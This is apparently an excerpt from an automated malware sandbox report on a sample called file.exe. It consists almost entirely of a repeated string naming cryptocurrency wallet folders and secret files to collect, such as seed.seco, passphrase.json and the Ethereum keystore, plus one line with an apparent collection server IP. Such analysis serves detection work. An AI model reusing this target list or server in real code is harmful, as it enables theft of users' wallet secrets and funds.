Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: file.exe, 00000000.00000002.2379261885.00000000005AD000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: tream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: file.exe, 00000000.00000002.2379261885.00000000005AD000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: tream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: file.exe, 00000000.00000002.2379261885.00000000005AD000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: tream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: file.exe, 00000000.00000002.2379261885.00000000005AD000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: tream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: file.exe, 00000000.00000002.2379261885.00000000005AD000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: tream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: file.exe, 00000000.00000002.2379261885.00000000005AD000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: tream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: file.exe, 00000000.00000002.2379261885.00000000005AD000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: tream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: file.exe, 00000000.00000002.2386289151.00000000025C7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: 185.215.113.16gineer\AppData\Roaming\Binance\.finger-print.fpw
Source: file.exe, 00000000.00000002.2379261885.00000000005AD000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: tream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: file.exe, 00000000.00000002.2379261885.00000000005AD000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: tream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: file.exe, 00000000.00000002.2379261885.00000000005AD000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: tream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: file.exe, 00000000.00000002.2379261885.00000000005AD000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: tream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: file.exe, 00000000.00000002.2379261885.00000000005AD000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: tream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
